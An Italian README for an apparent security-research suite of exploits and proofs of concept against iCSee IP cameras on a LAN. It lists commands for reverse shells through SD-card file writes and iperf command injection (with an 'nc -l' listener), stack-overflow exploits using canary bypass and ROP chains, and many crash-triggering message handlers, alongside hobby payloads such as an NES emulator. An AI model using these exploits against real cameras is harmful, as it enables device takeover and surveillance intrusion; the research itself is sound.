
Questa è una suite di strumenti/PoCs/exploit per telecamere che utilizzano l'applicazione iCSee. E sì - può eseguire giochi NES!
Questa è una suite di strumenti/PoC/exploit che possono essere utilizzati con telecamere per videochiamate iCSee via LAN (e forse anche con telecamere senza videochiamata). Può essere facilmente usata per flashare firmware alternativi in sostituzione del metodo di aggiornamento tramite scheda SD.
Nota: Qualsiasi exploit di corruzione della memoria funzionerà solo se la versione del firmware della tua telecamera è V5.00.R02.000949U5.10000.141324.0000010 o V5.00.R02.000807E5.10000.346724.0000010 – questi exploit si basano su offset fissi, che cambiano ogni volta che il firmware viene compilato.
[0] Enumerazione, Smontaggio ed Estrazione del Firmware
[1] Imparare il Linguaggio della Telecamera
[2] Trovare Integer Overflow Inutili + Alcuni Bug Utili
[3] Morte per Stack Overflow + Divertimento con i Canary
[5] Telecamera Diversa, Stessa App
[6] Vindication + Exploit Completo di Corruzione della Memoria sulla Seconda Telecamera
[7] Emulare Giochi NES sulla Telecamera
pycryptodome : Per la crittografia del login RSApwntools : Per lo shellcodepyftpdlib : Per il server FTPpynput : Per l'input della tastiera NESget_system_infoQuesto utilizza il metodo get_system_info per ottenere informazioni sulla telecamera tramite la porta 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUtilizza alcune funzionalità testuali rimaste per estrarre i log dal dispositivo (i log finiscono in FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellSfrutta una vulnerabilità di scrittura su file della scheda SD e la vulnerabilità di esecuzione del binario iperf che consente l'esecuzione remota di un binario presente sulla scheda SD, per ottenere una reverse shell e avviare un debugger GDB che si attacca al processo principale App.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py gdb_revshell
Terminale 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Non fermare il programma per più di 30 secondi altrimenti il watchdog si lamenta e il processo App si riavvia!
Nota 2: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (GDB_Revshell/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
gdb_revshell_injectSfrutta una vulnerabilità di scrittura su file della scheda SD e la vulnerabilità di iniezione comandi iperf che consente l'esecuzione remota di un binario presente sulla scheda SD, per ottenere una reverse shell e avviare un debugger GDB che si attacca al processo principale App.
Questo è utile per dispositivi che hanno già un binario iperf presente, che impedisce l'altro metodo.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py gdb_revshell_inject
Terminale 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: Non fermare il programma per più di 30 secondi altrimenti il watchdog si lamenta e il processo App si riavvia!
Nota 2: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (GDB_Revshell/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
iperf_inject_exploitSfrutta l'iniezione comandi iperf per stabilire una reverse shell.
Terminale 1:
nc -l 1234
Terminale 2:
python3 icseeu.py iperf_inject_exploit
Nota: Potrebbe essere necessario modificare gli indirizzi IP hardcoded nel payload (Revshell_Inject/remote_mgmt.c) con l'IP della propria macchina sulla LAN e ricostruire il payload.
Questi sono exploit per il secondo stack overflow nel gestore del tipo di messaggio 0x7d8. Questo overflow è interessante perché ci permette di bypassare il canary dello stack e ottenere l'esecuzione.
Dovrai costruire il payload del dispatcher prima che funzionino (esegui make nella directory PayloadDispatcher) e il payload che vuoi eseguire sulla telecamera eseguendo make nelle rispettive directory (ad es. ImageDisplay).
Note:
screenflashDimostra che abbiamo l'esecuzione di codice facendo lampeggiare lo schermo.
python3 icseeu.py exploit_goke screenflash
rgbDimostra che abbiamo il controllo dello schermo facendo lampeggiare colori RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayUtilizza la scrittura su file per caricare un'immagine RGB raw 5:6:5, esegui ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw su un'immagine nella directory per ottenere un file image.raw nella directory ImageDisplay affinché funzioni. L'immagine verrà visualizzata sullo schermo.
python3 icseeu.py exploit_goke imagedisplay
buttontestDimostra che possiamo leggere lo stato dei pulsanti, lampeggia un colore quando viene rilevata la pressione di uno dei pulsanti.
python3 icseeu.py exploit_goke buttontest
pongUn'implementazione minimale del gioco Pong che dimostra che abbiamo il controllo dello schermo e dei pulsanti frontali, e mostra anche un payload leggermente più complesso.
python3 icseeu.py exploit_goke pong
nesUn emulatore NES portato che può eseguire il file rom.nes posizionato nella directory GOKE_Payloads/nes, esegui make in GOKE_Payloads/nes/smolnes e GOKE_Payload/nes per generare i binari.
python3 icseeu.py exploit_goke nes
Questo è un exploit per uno stack overflow su un'altra telecamera senza canary nello stack, ma con NX. Ho scritto una ROP-chain per spostare lo stack e ottenere l'esecuzione di una lunga ROP-chain; questa ROP-chain mappa memoria eseguibile, carica il contenuto di un file nella memoria, genera un thread che lo esegue, poi ripara lo stato dello stack e continua l'esecuzione.
Dovrai costruire il payload prima che funzionino, esegui make nelle rispettive directory (ad es. ImageDisplay).
Note:
screenflashDimostra che abbiamo l'esecuzione di codice facendo lampeggiare lo schermo.
python3 icseeu.py exploit_xm530 screenflash
rgbDimostra che abbiamo il controllo dello schermo facendo lampeggiare colori RGB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayUtilizza la scrittura su file per caricare un'immagine RGB raw 5:6:5, esegui ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw su un'immagine nella directory per ottenere un file image.raw nella directory ImageDisplay affinché funzioni. L'immagine verrà visualizzata sullo schermo.
python3 icseeu.py exploit_xm530 imagedisplay
Ulteriori dettagli su queste proof of concept (e le loro cause sottostanti) sono nei blog all'inizio di questo readme.
integer_underflow_httpQuesto PoC causa un crash dovuto a un integer underflow nel server HTTP.
python3 icseeu.py integer_underflow_http
iperf_runQuesto PoC eseguirà il file memorizzato sulla scheda SD in iperf/iperf (sia script ash che binario).
python3 icseeu.py iperf_run
iperf_injectQuesto PoC eseguirà il comando reboot tramite un'iniezione di comandi; il file iperf/iperf deve esistere sulla scheda SD affinché funzioni.
python3 icseeu.py iperf_inject
assert_trigger_0x41aQuesto PoC innesca un'asserzione a causa di una grande allocazione nel gestore del tipo di messaggio 0x41a (causando un crash).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aQuesto PoC innesca un crash dovuto a un integer overflow che causa una strana lettura fuori dai limiti nel gestore del messaggio 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aQuesto PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Questo PoC innesca un crash dovuto al primo stack overflow nel gestore del messaggio di tipo 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Questo PoC innesca un crash dovuto al secondo stack overflow nel gestore del messaggio di tipo 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacQuesto PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Questo PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Questo PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Questo PoC innesca un crash dovuto al primo stack overflow nel gestore del messaggio di tipo 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Questo PoC innesca un crash dovuto al secondo stack overflow nel gestore del messaggio di tipo 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Questo PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eQuesto PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Questo PoC innesca un crash dovuto al primo stack overflow nel gestore del messaggio di tipo 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Questo PoC innesca un crash dovuto al secondo stack overflow nel gestore del messaggio di tipo 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Questo PoC innesca un crash dovuto a uno stack overflow nel gestore del messaggio di tipo 0x8a6 (non presente in tutte le telecamere).
python3 icseeu.py stack_overflow_0x8a6